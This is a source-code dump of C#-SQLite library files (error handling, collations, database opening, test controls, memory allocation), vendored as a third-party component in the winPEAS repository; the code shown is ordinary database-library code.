!sqlite3SafetyCheckSickOrOk( db ) ) { return sqlite3ErrStr( SQLITE_MISUSE ); } sqlite3_mutex_enter( db.mutex ); //if ( db.mallocFailed != 0 ) //{ // z = sqlite3ErrStr( SQLITE_NOMEM ); //} //else { z = sqlite3_value_text( db.pErr ); //Debug.Assert( 0 == db.mallocFailed ); if ( String.IsNullOrEmpty( z )) { z = sqlite3ErrStr( db.errCode ); } } sqlite3_mutex_leave( db.mutex ); return z; } #if !SQLITE_OMIT_UTF16 /* ** Return UTF-16 encoded English language explanation of the most recent ** error. */ const void *sqlite3_errmsg16(sqlite3 *db){ static const u16 outOfMem[] = { 'o', 'u', 't', ' ', 'o', 'f', ' ', 'm', 'e', 'm', 'o', 'r', 'y', 0 }; static const u16 misuse[] = { 'l', 'i', 'b', 'r', 'a', 'r', 'y', ' ', 'r', 'o', 'u', 't', 'i', 'n', 'e', ' ', 'c', 'a', 'l', 'l', 'e', 'd', ' ', 'o', 'u', 't', ' ', 'o', 'f', ' ', 's', 'e', 'q', 'u', 'e', 'n', 'c', 'e', 0 }; const void *z; if( !db ){ return (void *)outOfMem; } if( !sqlite3SafetyCheckSickOrOk(db) ){ return (void *)misuse; } sqlite3_mutex_enter(db->mutex); if( db->mallocFailed ){ z = (void *)outOfMem; }else{ z = sqlite3_value_text16(db->pErr); if( z==0 ){ sqlite3ValueSetStr(db->pErr, -1, sqlite3ErrStr(db->errCode), SQLITE_UTF8, SQLITE_STATIC); z = sqlite3_value_text16(db->pErr); } /* A malloc() may have failed within the call to sqlite3_value_text16() ** above. If this is the case, then the db->mallocFailed flag needs to ** be cleared before returning. Do this directly, instead of via ** sqlite3ApiExit(), to avoid setting the database handle error message. */ db->mallocFailed = 0; } sqlite3_mutex_leave(db->mutex); return z; } #endif // * SQLITE_OMIT_UTF16 */ /* ** Return the most recent error code generated by an SQLite routine. If NULL is ** passed to this function, we assume a malloc() failed during sqlite3_open(). */ public static int sqlite3_errcode( sqlite3 db ) { if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) { return SQLITE_MISUSE; } if ( null == db /*|| db.mallocFailed != 0 */ ) { return SQLITE_NOMEM; } return db.errCode & db.errMask; } static int sqlite3_extended_errcode( sqlite3 db ) { if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) { return SQLITE_MISUSE; } if ( null == db /*|| db.mallocFailed != 0 */ ) { return SQLITE_NOMEM; } return db.errCode; } /* ** Create a new collating function for database "db". The name is zName ** and the encoding is enc. */ static int createCollation( sqlite3 db, string zName, int enc, object pCtx, dxCompare xCompare,//)(void*,int,const void*,int,const void*), dxDelCollSeq xDel//)(void*) ) { CollSeq pColl; int enc2; int nName = sqlite3Strlen30( zName ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); /* If SQLITE_UTF16 is specified as the encoding type, transform this ** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the ** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. */ enc2 = enc; testcase( enc2 == SQLITE_UTF16 ); testcase( enc2 == SQLITE_UTF16_ALIGNED ); if ( enc2 == SQLITE_UTF16 || enc2 == SQLITE_UTF16_ALIGNED ) { enc2 = SQLITE_UTF16NATIVE; } if ( enc2 < SQLITE_UTF8 || enc2 > SQLITE_UTF16BE ) { return SQLITE_MISUSE; } /* Check if this call is removing or replacing an existing collation ** sequence. If so, and there are active VMs, return busy. If there ** are no active VMs, invalidate any pre-compiled statements. */ pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 0 ); if ( pColl != null && pColl.xCmp != null ) { if ( db.activeVdbeCnt != 0 ) { sqlite3Error( db, SQLITE_BUSY, "unable to delete/modify collation sequence due to active statements" ); return SQLITE_BUSY; } sqlite3ExpirePreparedStatements( db ); /* If collation sequence pColl was created directly by a call to ** sqlite3_create_collation, and not generated by synthCollSeq(), ** then any copies made by synthCollSeq() need to be invalidated. ** Also, collation destructor - CollSeq.xDel() - function may need ** to be called. */ if ( ( pColl.enc & ~SQLITE_UTF16_ALIGNED ) == enc2 ) { CollSeq[] aColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName ); int j; for ( j = 0 ; j < 3 ; j++ ) { CollSeq p = aColl[j]; if ( p.enc == pColl.enc ) { if ( p.xDel != null ) { p.xDel( ref p.pUser ); } p.xCmp = null; } } } } pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 1 ); if ( pColl != null ) { pColl.xCmp = xCompare; pColl.pUser = pCtx; pColl.xDel = xDel; pColl.enc = (u8)( enc2 | ( enc & SQLITE_UTF16_ALIGNED ) ); } sqlite3Error( db, SQLITE_OK, 0 ); return SQLITE_OK; } /* ** This array defines hard upper bounds on limit values. The ** initializer must be kept in sync with the SQLITE_LIMIT_* ** #defines in sqlite3.h. */ static int[] aHardLimit = new int[] { SQLITE_MAX_LENGTH, SQLITE_MAX_SQL_LENGTH, SQLITE_MAX_COLUMN, SQLITE_MAX_EXPR_DEPTH, SQLITE_MAX_COMPOUND_SELECT, SQLITE_MAX_VDBE_OP, SQLITE_MAX_FUNCTION_ARG, SQLITE_MAX_ATTACHED, SQLITE_MAX_LIKE_PATTERN_LENGTH, SQLITE_MAX_VARIABLE_NUMBER, }; /* ** Make sure the hard limits are set to reasonable values */ //#if SQLITE_MAX_LENGTH<100 //# error SQLITE_MAX_LENGTH must be at least 100 //#endif //#if SQLITE_MAX_SQL_LENGTH<100 //# error SQLITE_MAX_SQL_LENGTH must be at least 100 //#endif //#if SQLITE_MAX_SQL_LENGTH>SQLITE_MAX_LENGTH //# error SQLITE_MAX_SQL_LENGTH must not be greater than SQLITE_MAX_LENGTH //#endif //#if SQLITE_MAX_COMPOUND_SELECT<2 //# error SQLITE_MAX_COMPOUND_SELECT must be at least 2 //#endif //#if SQLITE_MAX_VDBE_OP<40 //# error SQLITE_MAX_VDBE_OP must be at least 40 //#endif //#if SQLITE_MAX_FUNCTION_ARG<0 || SQLITE_MAX_FUNCTION_ARG>1000 //# error SQLITE_MAX_FUNCTION_ARG must be between 0 and 1000 //#endif //#if SQLITE_MAX_ATTACHED<0 || SQLITE_MAX_ATTACHED>30 //# error SQLITE_MAX_ATTACHED must be between 0 and 30 //#endif //#if SQLITE_MAX_LIKE_PATTERN_LENGTH<1 //# error SQLITE_MAX_LIKE_PATTERN_LENGTH must be at least 1 //#endif //#if SQLITE_MAX_VARIABLE_NUMBER<1 //# error SQLITE_MAX_VARIABLE_NUMBER must be at least 1 //#endif //#if SQLITE_MAX_COLUMN>32767 //# error SQLITE_MAX_COLUMN must not exceed 32767 //#endif /* ** Change the value of a limit. Report the old value. ** If an invalid limit index is supplied, report -1. ** Make no changes but still report the old value if the ** new limit is negative. ** ** A new lower limit does not shrink existing constructs. ** It merely prevents new constructs that exceed the limit ** from forming. */ static int sqlite3_limit( sqlite3 db, int limitId, int newLimit ) { int oldLimit; if ( limitId < 0 || limitId >= SQLITE_N_LIMIT ) { return -1; } oldLimit = db.aLimit[limitId]; if ( newLimit >= 0 ) { if ( newLimit > aHardLimit[limitId] ) { newLimit = aHardLimit[limitId]; } db.aLimit[limitId] = newLimit; } return oldLimit; } /* ** This routine does the work of opening a database on behalf of ** sqlite3_open() and sqlite3_open16(). The database filename "zFilename" ** is UTF-8 encoded. */ static int openDatabase( string zFilename, /* Database filename UTF-8 encoded */ ref sqlite3 ppDb, /* OUT: Returned database handle */ unsigned flags, /* Operational flags */ string zVfs /* Name of the VFS to use */ ) { sqlite3 db; int rc; CollSeq pColl; int isThreadsafe; ppDb = null; #if !SQLITE_OMIT_AUTOINIT rc = sqlite3_initialize(); if ( rc != 0 ) return rc; #endif if ( sqlite3GlobalConfig.bCoreMutex == false ) { isThreadsafe = 0; } else if ( ( flags & SQLITE_OPEN_NOMUTEX ) != 0 ) { isThreadsafe = 0; } else if ( ( flags & SQLITE_OPEN_FULLMUTEX ) != 0 ) { isThreadsafe = 1; } else { isThreadsafe = sqlite3GlobalConfig.bFullMutex ? 1 : 0; } /* Remove harmful bits from the flags parameter ** ** The SQLITE_OPEN_NOMUTEX and SQLITE_OPEN_FULLMUTEX flags were ** dealt with in the previous code block. Besides these, the only ** valid input flags for sqlite3_open_v2() are SQLITE_OPEN_READONLY, ** SQLITE_OPEN_READWRITE, and SQLITE_OPEN_CREATE. Silently mask ** off all other flags. */ flags &= ~( SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_MAIN_DB | SQLITE_OPEN_TEMP_DB | SQLITE_OPEN_TRANSIENT_DB | SQLITE_OPEN_MAIN_JOURNAL | SQLITE_OPEN_TEMP_JOURNAL | SQLITE_OPEN_SUBJOURNAL | SQLITE_OPEN_MASTER_JOURNAL | SQLITE_OPEN_NOMUTEX | SQLITE_OPEN_FULLMUTEX ); /* Allocate the sqlite data structure */ db = new sqlite3();//sqlite3MallocZero( sqlite3.Length ); if ( db == null ) goto opendb_out; if ( sqlite3GlobalConfig.bFullMutex && isThreadsafe != 0 ) { db.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); if ( db.mutex == null ) { //sqlite3_free( ref db ); goto opendb_out; } } sqlite3_mutex_enter( db.mutex ); db.errMask = 0xff; db.nDb = 2; db.magic = SQLITE_MAGIC_BUSY; Array.Copy( db.aDbStatic, db.aDb, db.aDbStatic.Length );// db.aDb = db.aDbStatic; Debug.Assert( db.aLimit.Length == aHardLimit.Length ); Buffer.BlockCopy( aHardLimit, 0, db.aLimit, 0, aHardLimit.Length * sizeof( int ) );//memcpy(db.aLimit, aHardLimit, sizeof(db.aLimit)); db.autoCommit = 1; db.nextAutovac = -1; db.nextPagesize = 0; db.flags |= SQLITE_ShortColNames; if ( SQLITE_DEFAULT_FILE_FORMAT < 4 ) db.flags |= SQLITE_LegacyFileFmt #if SQLITE_ENABLE_LOAD_EXTENSION | SQLITE_LoadExtension #endif ; sqlite3HashInit( db.aCollSeq ); #if !SQLITE_OMIT_VIRTUALTABLE sqlite3HashInit( ref db.aModule ); #endif db.pVfs = sqlite3_vfs_find( zVfs ); if ( db.pVfs == null ) { rc = SQLITE_ERROR; sqlite3Error( db, rc, "no such vfs: %s", zVfs ); goto opendb_out; } /* Add the default collation sequence BINARY. BINARY works for both UTF-8 ** and UTF-16, so add a version for each to avoid any unnecessary ** conversions. The only error that can occur here is a malloc() failure. */ createCollation( db, "BINARY", SQLITE_UTF8, 0, (dxCompare)binCollFunc, null ); createCollation( db, "BINARY", SQLITE_UTF16BE, 0, (dxCompare)binCollFunc, null ); createCollation( db, "BINARY", SQLITE_UTF16LE, 0, (dxCompare)binCollFunc, null ); createCollation( db, "RTRIM", SQLITE_UTF8, 1, (dxCompare)binCollFunc, null ); //if ( db.mallocFailed != 0 ) //{ // goto opendb_out; //} db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); Debug.Assert( db.pDfltColl != null ); /* Also add a UTF-8 case-insensitive collation sequence. */ createCollation( db, "NOCASE", SQLITE_UTF8, 0, nocaseCollatingFunc, null ); /* Set flags on the built-in collating sequences */ db.pDfltColl.type = SQLITE_COLL_BINARY; pColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "NOCASE", 0 ); if ( pColl != null ) { pColl.type = SQLITE_COLL_NOCASE; } /* Open the backend database driver */ db.openFlags = flags; rc = sqlite3BtreeFactory( db, zFilename, false, SQLITE_DEFAULT_CACHE_SIZE, flags | SQLITE_OPEN_MAIN_DB, ref db.aDb[0].pBt ); if ( rc != SQLITE_OK ) { if ( rc == SQLITE_IOERR_NOMEM ) { rc = SQLITE_NOMEM; } sqlite3Error( db, rc, 0 ); goto opendb_out; } db.aDb[0].pSchema = sqlite3SchemaGet( db, db.aDb[0].pBt ); db.aDb[1].pSchema = sqlite3SchemaGet( db, null ); /* The default safety_level for the main database is 'full'; for the temp ** database it is 'NONE'. This matches the pager layer defaults. */ db.aDb[0].zName = "main"; db.aDb[0].safety_level = 3; db.aDb[1].zName = "temp"; db.aDb[1].safety_level = 1; db.magic = SQLITE_MAGIC_OPEN; //if ( db.mallocFailed != 0 ) //{ // goto opendb_out; //} /* Register all built-in functions, but do not attempt to read the ** database schema yet. This is delayed until the first time the database ** is accessed. */ sqlite3Error( db, SQLITE_OK, 0 ); sqlite3RegisterBuiltinFunctions( db ); /* Load automatic extensions - extensions that have been registered ** using the sqlite3_automatic_extension() API. */ sqlite3AutoLoadExtensions( db ); rc = sqlite3_errcode( db ); if ( rc != SQLITE_OK ) { goto opendb_out; } #if SQLITE_ENABLE_FTS1 if( 0==db.mallocFailed ){ extern int sqlite3Fts1Init(sqlite3*); rc = sqlite3Fts1Init(db); } #endif #if SQLITE_ENABLE_FTS2 if( 0==db.mallocFailed && rc==SQLITE_OK ){ extern int sqlite3Fts2Init(sqlite3*); rc = sqlite3Fts2Init(db); } #endif #if SQLITE_ENABLE_FTS3 if( 0==db.mallocFailed && rc==SQLITE_OK ){ rc = sqlite3Fts3Init(db); } #endif #if SQLITE_ENABLE_ICU if( 0==db.mallocFailed && rc==SQLITE_OK ){ extern int sqlite3IcuInit(sqlite3*); rc = sqlite3IcuInit(db); } #endif #if SQLITE_ENABLE_RTREE if( 0==db.mallocFailed && rc==SQLITE_OK){ rc = sqlite3RtreeInit(db); } #endif sqlite3Error( db, rc, 0 ); /* -DSQLITE_DEFAULT_LOCKING_MODE=1 makes EXCLUSIVE the default locking ** mode. -DSQLITE_DEFAULT_LOCKING_MODE=0 make NORMAL the default locking ** mode. Doing nothing at all also makes NORMAL the default. */ #if SQLITE_DEFAULT_LOCKING_MODE db.dfltLockMode = SQLITE_DEFAULT_LOCKING_MODE; sqlite3PagerLockingMode(sqlite3BtreePager(db.aDb[0].pBt), SQLITE_DEFAULT_LOCKING_MODE); #endif /* Enable the lookaside-malloc subsystem */ setupLookaside( db, null, sqlite3GlobalConfig.szLookaside, sqlite3GlobalConfig.nLookaside ); opendb_out: if ( db != null ) { Debug.Assert( db.mutex != null || isThreadsafe == 0 || !sqlite3GlobalConfig.bFullMutex ); sqlite3_mutex_leave( db.mutex ); } rc = sqlite3_errcode( db ); if ( rc == SQLITE_NOMEM ) { sqlite3_close( db ); db = null; } else if ( rc != SQLITE_OK ) { db.magic = SQLITE_MAGIC_SICK; } ppDb = db; return sqlite3ApiExit( 0, rc ); } /* ** Open a new database handle. */ public static int sqlite3_open( string zFilename, ref sqlite3 ppDb ) { return openDatabase( zFilename, ref ppDb, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, null ); } public static int sqlite3_open_v2( string filename, /* Database filename (UTF-8) */ ref sqlite3 ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ string zVfs /* Name of VFS module to use */ ) { return openDatabase( filename, ref ppDb, flags, zVfs ); } #if !SQLITE_OMIT_UTF16 /* ** Open a new database handle. */ int sqlite3_open16( const void *zFilename, sqlite3 **ppDb ){ char const *zFilename8; /* zFilename encoded in UTF-8 instead of UTF-16 */ sqlite3_value pVal; int rc; Debug.Assert(zFilename ); Debug.Assert(ppDb ); *ppDb = 0; #if !SQLITE_OMIT_AUTOINIT rc = sqlite3_initialize(); if( rc !=0) return rc; #endif pVal = sqlite3ValueNew(0); sqlite3ValueSetStr(pVal, -1, zFilename, SQLITE_UTF16NATIVE, SQLITE_STATIC); zFilename8 = sqlite3ValueText(pVal, SQLITE_UTF8); if( zFilename8 ){ rc = openDatabase(zFilename8, ppDb, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0); Debug.Assert(*ppDb || rc==SQLITE_NOMEM ); if( rc==SQLITE_OK && !DbHasProperty(*ppDb, 0, DB_SchemaLoaded) ){ ENC(*ppDb) = SQLITE_UTF16NATIVE; } }else{ rc = SQLITE_NOMEM; } sqlite3ValueFree(pVal); return sqlite3ApiExit(0, rc); } #endif // * SQLITE_OMIT_UTF16 */ /* ** Register a new collation sequence with the database handle db. */ static int sqlite3_create_collation( sqlite3 db, string zName, int enc, object pCtx, dxCompare xCompare ) { int rc; sqlite3_mutex_enter( db.mutex ); //Debug.Assert( 0 == db.mallocFailed ); rc = createCollation( db, zName, enc, pCtx, xCompare, null ); rc = sqlite3ApiExit( db, rc ); sqlite3_mutex_leave( db.mutex ); return rc; } /* ** Register a new collation sequence with the database handle db. */ static int sqlite3_create_collation_v2( sqlite3 db, string zName, int enc, object pCtx, dxCompare xCompare, //int(*xCompare)(void*,int,const void*,int,const void*), dxDelCollSeq xDel //void(*xDel)(void*) ) { int rc; sqlite3_mutex_enter( db.mutex ); //Debug.Assert( 0 == db.mallocFailed ); rc = createCollation( db, zName, enc, pCtx, xCompare, xDel ); rc = sqlite3ApiExit( db, rc ); sqlite3_mutex_leave( db.mutex ); return rc; } #if !SQLITE_OMIT_UTF16 /* ** Register a new collation sequence with the database handle db. */ //int sqlite3_create_collation16( // sqlite3* db, // string zName, // int enc, // void* pCtx, // int(*xCompare)(void*,int,const void*,int,const void*) //){ // int rc = SQLITE_OK; // char *zName8; // sqlite3_mutex_enter(db.mutex); // Debug.Assert( 0==db.mallocFailed ); // zName8 = sqlite3Utf16to8(db, zName, -1); // if( zName8 ){ // rc = createCollation(db, zName8, enc, pCtx, xCompare, 0); // //sqlite3DbFree(db,ref zName8); // } // rc = sqlite3ApiExit(db, rc); // sqlite3_mutex_leave(db.mutex); // return rc; //} #endif // * SQLITE_OMIT_UTF16 */ /* ** Register a collation sequence factory callback with the database handle ** db. Replace any previously installed collation sequence factory. */ static int sqlite3_collation_needed( sqlite3 db, object pCollNeededArg, dxCollNeeded xCollNeeded ) { sqlite3_mutex_enter( db.mutex ); db.xCollNeeded = xCollNeeded; db.xCollNeeded16 = null; db.pCollNeededArg = pCollNeededArg; sqlite3_mutex_leave( db.mutex ); return SQLITE_OK; } #if !SQLITE_OMIT_UTF16 /* ** Register a collation sequence factory callback with the database handle ** db. Replace any previously installed collation sequence factory. */ //int sqlite3_collation_needed16( // sqlite3 db, // void pCollNeededArg, // void(*xCollNeeded16)(void*,sqlite3*,int eTextRep,const void*) //){ // sqlite3_mutex_enter(db.mutex); // db.xCollNeeded = 0; // db.xCollNeeded16 = xCollNeeded16; // db.pCollNeededArg = pCollNeededArg; // sqlite3_mutex_leave(db.mutex); // return SQLITE_OK; //} #endif // * SQLITE_OMIT_UTF16 */ #if !SQLITE_OMIT_GLOBALRECOVER #if !SQLITE_OMIT_DEPRECATED /* ** This function is now an anachronism. It used to be used to recover from a ** malloc() failure, but SQLite now does this automatically. */ static int sqlite3_global_recover() { return SQLITE_OK; } #endif #endif /* ** Test to see whether or not the database connection is in autocommit ** mode. Return TRUE if it is and FALSE if not. Autocommit mode is on ** by default. Autocommit is disabled by a BEGIN statement and reenabled ** by the next COMMIT or ROLLBACK. ** ******* THIS IS AN EXPERIMENTAL API AND IS SUBJECT TO CHANGE ****** */ static u8 sqlite3_get_autocommit( sqlite3 db ) { return db.autoCommit; } #if SQLITE_DEBUG /* ** The following routine is subtituted for constant SQLITE_CORRUPT in ** debugging builds. This provides a way to set a breakpoint for when ** corruption is first detected. */ static int sqlite3Corrupt() { return SQLITE_CORRUPT; } #endif #if !SQLITE_OMIT_DEPRECATED /* ** This is a convenience routine that makes sure that all thread-specific ** data for this thread has been deallocated. ** ** SQLite no longer uses thread-specific data so this routine is now a ** no-op. It is retained for historical compatibility. */ void sqlite3_thread_cleanup() { } #endif /* ** Return meta information about a specific column of a database table. ** See comment in sqlite3.h (sqlite.h.in) for details. */ #if SQLITE_ENABLE_COLUMN_METADATA int sqlite3_table_column_metadata( sqlite3 db, /* Connection handle */ string zDbName, /* Database name or NULL */ string zTableName, /* Table name */ string zColumnName, /* Column name */ ref byte[] pzDataType, /* OUTPUT: Declared data type */ ref byte[] pzCollSeq, /* OUTPUT: Collation sequence name */ ref int pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ ref int pPrimaryKey, /* OUTPUT: True if column part of PK */ ref int pAutoinc /* OUTPUT: True if column is auto-increment */ ){ int rc; string zErrMsg = ""; Table pTab = null; Column pCol = null; int iCol; char const *zDataType = 0; char const *zCollSeq = 0; int notnull = 0; int primarykey = 0; int autoinc = 0; /* Ensure the database schema has been loaded */ sqlite3_mutex_enter(db.mutex); (void)sqlite3SafetyOn(db); sqlite3BtreeEnterAll(db); rc = sqlite3Init(db, zErrMsg); if( SQLITE_OK!=rc ){ goto error_out; } /* Locate the table in question */ pTab = sqlite3FindTable(db, zTableName, zDbName); if( null==pTab || pTab.pSelect ){ pTab = 0; goto error_out; } /* Find the column for which info is requested */ if( sqlite3IsRowid(zColumnName) ){ iCol = pTab.iPKey; if( iCol>=0 ){ pCol = pTab.aCol[iCol]; } }else{ for(iCol=0; iColnotNull!=0; primarykey = pCol->isPrimKey!=0; autoinc = pTab.iPKey==iCol && (pTab.tabFlags & TF_Autoincrement)!=0; }else{ zDataType = "INTEGER"; primarykey = 1; } if( !zCollSeq ){ zCollSeq = "BINARY"; } error_out: sqlite3BtreeLeaveAll(db); (void)sqlite3SafetyOff(db); /* Whether the function call succeeded or failed, set the output parameters ** to whatever their local counterparts contain. If an error did occur, ** this has the effect of zeroing all output parameters. */ if( pzDataType ) pzDataType = zDataType; if( pzCollSeq ) pzCollSeq = zCollSeq; if( pNotNull ) pNotNull = notnull; if( pPrimaryKey ) pPrimaryKey = primarykey; if( pAutoinc ) pAutoinc = autoinc; if( SQLITE_OK==rc && !pTab ){ //sqlite3DbFree(db, zErrMsg); zErrMsg = sqlite3MPrintf(db, "no such table column: %s.%s", zTableName, zColumnName); rc = SQLITE_ERROR; } sqlite3Error(db, rc, (zErrMsg?"%s":0), zErrMsg); //sqlite3DbFree(db, zErrMsg); rc = sqlite3ApiExit(db, rc); sqlite3_mutex_leave(db.mutex); return rc; } #endif /* ** Sleep for a little while. Return the amount of time slept. */ public static int sqlite3_sleep( int ms ) { sqlite3_vfs pVfs; int rc; pVfs = sqlite3_vfs_find( null ); if ( pVfs == null ) return 0; /* This function works in milliseconds, but the underlying OsSleep() ** API uses microseconds. Hence the 1000's. */ rc = ( sqlite3OsSleep( pVfs, 1000 * ms ) / 1000 ); return rc; } /* ** Enable or disable the extended result codes. */ static int sqlite3_extended_result_codes( sqlite3 db, bool onoff ) { sqlite3_mutex_enter( db.mutex ); db.errMask = (int)( onoff ? 0xffffffff : 0xff ); sqlite3_mutex_leave( db.mutex ); return SQLITE_OK; } /* ** Invoke the xFileControl method on a particular database. */ static int sqlite3_file_control( sqlite3 db, string zDbName, int op, ref int pArg ) { int rc = SQLITE_ERROR; int iDb; sqlite3_mutex_enter( db.mutex ); if ( zDbName == null ) { iDb = 0; } else { for ( iDb = 0 ; iDb < db.nDb ; iDb++ ) { if ( db.aDb[iDb].zName == zDbName ) break; } } if ( iDb < db.nDb ) { Btree pBtree = db.aDb[iDb].pBt; if ( pBtree != null ) { Pager pPager; sqlite3_file fd; sqlite3BtreeEnter( pBtree ); pPager = sqlite3BtreePager( pBtree ); Debug.Assert( pPager != null ); fd = sqlite3PagerFile( pPager ); Debug.Assert( fd != null ); if ( fd.pMethods != null ) { rc = sqlite3OsFileControl( fd, (u32)op, ref pArg ); } sqlite3BtreeLeave( pBtree ); } } sqlite3_mutex_leave( db.mutex ); return rc; } /* ** Interface to the testing logic. */ static int sqlite3_test_control( int op, params object[] ap ) { int rc = 0; #if !SQLITE_OMIT_BUILTIN_TEST // va_list ap; va_start( ap, "op" ); switch ( op ) { /* ** Save the current state of the PRNG. */ case SQLITE_TESTCTRL_PRNG_SAVE: { sqlite3PrngSaveState(); break; } /* ** Restore the state of the PRNG to the last state saved using ** PRNG_SAVE. If PRNG_SAVE has never before been called, then ** this verb acts like PRNG_RESET. */ case SQLITE_TESTCTRL_PRNG_RESTORE: { sqlite3PrngRestoreState(); break; } /* ** Reset the PRNG back to its uninitialized state. The next call ** to sqlite3_randomness() will reseed the PRNG using a single call ** to the xRandomness method of the default VFS. */ case SQLITE_TESTCTRL_PRNG_RESET: { sqlite3PrngResetState(); break; } /* ** sqlite3_test_control(BITVEC_TEST, size, program) ** ** Run a test against a Bitvec object of size. The program argument ** is an array of integers that defines the test. Return -1 on a ** memory allocation error, 0 on success, or non-zero for an error. ** See the sqlite3BitvecBuiltinTest() for additional information. */ case SQLITE_TESTCTRL_BITVEC_TEST: { int sz = (int)va_arg( ap, "int" ); int[] aProg = (int[])va_arg( ap, "int[]" ); rc = sqlite3BitvecBuiltinTest( (u32)sz, aProg ); break; } /* ** sqlite3_test_control(BENIGN_MALLOC_HOOKS, xBegin, xEnd) ** ** Register hooks to call to indicate which malloc() failures ** are benign. */ case SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS: { //typedef void (*void_function)(void); void_function xBenignBegin; void_function xBenignEnd; xBenignBegin = (void_function)va_arg( ap, "void_function" ); xBenignEnd = (void_function)va_arg( ap, "void_function" ); sqlite3BenignMallocHooks( xBenignBegin, xBenignEnd ); break; } /* ** sqlite3_test_control(SQLITE_TESTCTRL_PENDING_BYTE, unsigned int X) ** ** Set the PENDING byte to the value in the argument, if X>0. ** Make no changes if X==0. Return the value of the pending byte ** as it existing before this routine was called. ** ** IMPORTANT: Changing the PENDING byte from 0x40000000 results in ** an incompatible database file format. Changing the PENDING byte ** while any database connection is open results in undefined and ** dileterious behavior. */ case SQLITE_TESTCTRL_PENDING_BYTE: { u32 newVal = (u32)va_arg( ap, "u32" ); rc = sqlite3PendingByte; if ( newVal != 0 ) { if ( sqlite3PendingByte != newVal ) sqlite3PendingByte = (int)newVal; #if DEBUG && !NO_TCL TCLsqlite3PendingByte.iValue = sqlite3PendingByte; #endif PENDING_BYTE = sqlite3PendingByte; } break; } /* ** sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, int X) ** ** This action provides a run-time test to see whether or not ** assert() was enabled at compile-time. If X is true and assert() ** is enabled, then the return value is true. If X is true and ** assert() is disabled, then the return value is zero. If X is ** false and assert() is enabled, then the assertion fires and the ** process aborts. If X is false and assert() is disabled, then the ** return value is zero. */ case SQLITE_TESTCTRL_ASSERT: { int x = 0; Debug.Assert( ( x = (int)va_arg( ap, "int" ) ) != 0 ); rc = x; break; } /* ** sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, int X) ** ** This action provides a run-time test to see how the ALWAYS and ** NEVER macros were defined at compile-time. ** ** The return value is ALWAYS(X). ** ** The recommended test is X==2. If the return value is 2, that means ** ALWAYS() and NEVER() are both no-op pass-through macros, which is the ** default setting. If the return value is 1, then ALWAYS() is either ** hard-coded to true or else it asserts if its argument is false. ** The first behavior (hard-coded to true) is the case if ** SQLITE_TESTCTRL_ASSERT shows that assert() is disabled and the second ** behavior (assert if the argument to ALWAYS() is false) is the case if ** SQLITE_TESTCTRL_ASSERT shows that assert() is enabled. ** ** The run-time test procedure might look something like this: ** ** if( sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, 2)==2 ){ ** // ALWAYS() and NEVER() are no-op pass-through macros ** }else if( sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, 1) ){ ** // ALWAYS(x) asserts that x is true. NEVER(x) asserts x is false. ** }else{ ** // ALWAYS(x) is a constant 1. NEVER(x) is a constant 0. ** } */ case SQLITE_TESTCTRL_ALWAYS: { int x = (int)va_arg( ap, "int" ); rc = ALWAYS( x ); break; } /* sqlite3_test_control(SQLITE_TESTCTRL_RESERVE, sqlite3 *db, int N) ** ** Set the nReserve size to N for the main database on the database ** connection db. */ case SQLITE_TESTCTRL_RESERVE: { sqlite3 db = (sqlite3)va_arg(ap, "sqlite3"); int x = (int)va_arg(ap,"int"); sqlite3_mutex_enter(db.mutex); sqlite3BtreeSetPageSize(db.aDb[0].pBt, 0, x, 0); sqlite3_mutex_leave(db.mutex); break; } } va_end( ap ); #endif //* SQLITE_OMIT_BUILTIN_TEST */ return rc; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/malloc_c.cs ================================================ using System.Diagnostics; using System.Text; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** Memory allocation functions used throughout sqlite. ** ** $Id: malloc.c,v 1.66 2009/07/17 11:44:07 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include #if FALSE /* ** This routine runs when the memory allocator sees that the ** total memory allocation is about to exceed the soft heap ** limit. */ static void softHeapLimitEnforcer( object NotUsed, sqlite3_int64 NotUsed2, int allocSize ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); sqlite3_release_memory( allocSize ); } /* ** Set the soft heap-size limit for the library. Passing a zero or ** negative value indicates no limit. */ static void sqlite3_soft_heap_limit( int n ) { long iLimit; int overage; if ( n < 0 ) { iLimit = 0; } else { iLimit = n; } sqlite3_initialize(); if ( iLimit > 0 ) { sqlite3MemoryAlarm( (dxalarmCallback)softHeapLimitEnforcer, 0, iLimit ); } else { sqlite3MemoryAlarm( null, null, 0 ); } overage = (int)( sqlite3_memory_used() - n ); if ( overage > 0 ) { sqlite3_release_memory( overage ); } } /* ** Attempt to release up to n bytes of non-essential memory currently ** held by SQLite. An example of non-essential memory is memory used to ** cache database pages that are not currently in use. */ static int sqlite3_release_memory( int n ) { #if SQLITE_ENABLE_MEMORY_MANAGEMENT int nRet = 0; #if FALSE nRet += sqlite3VdbeReleaseMemory(n); #endif nRet += sqlite3PcacheReleaseMemory(n-nRet); return nRet; #else UNUSED_PARAMETER( n ); return 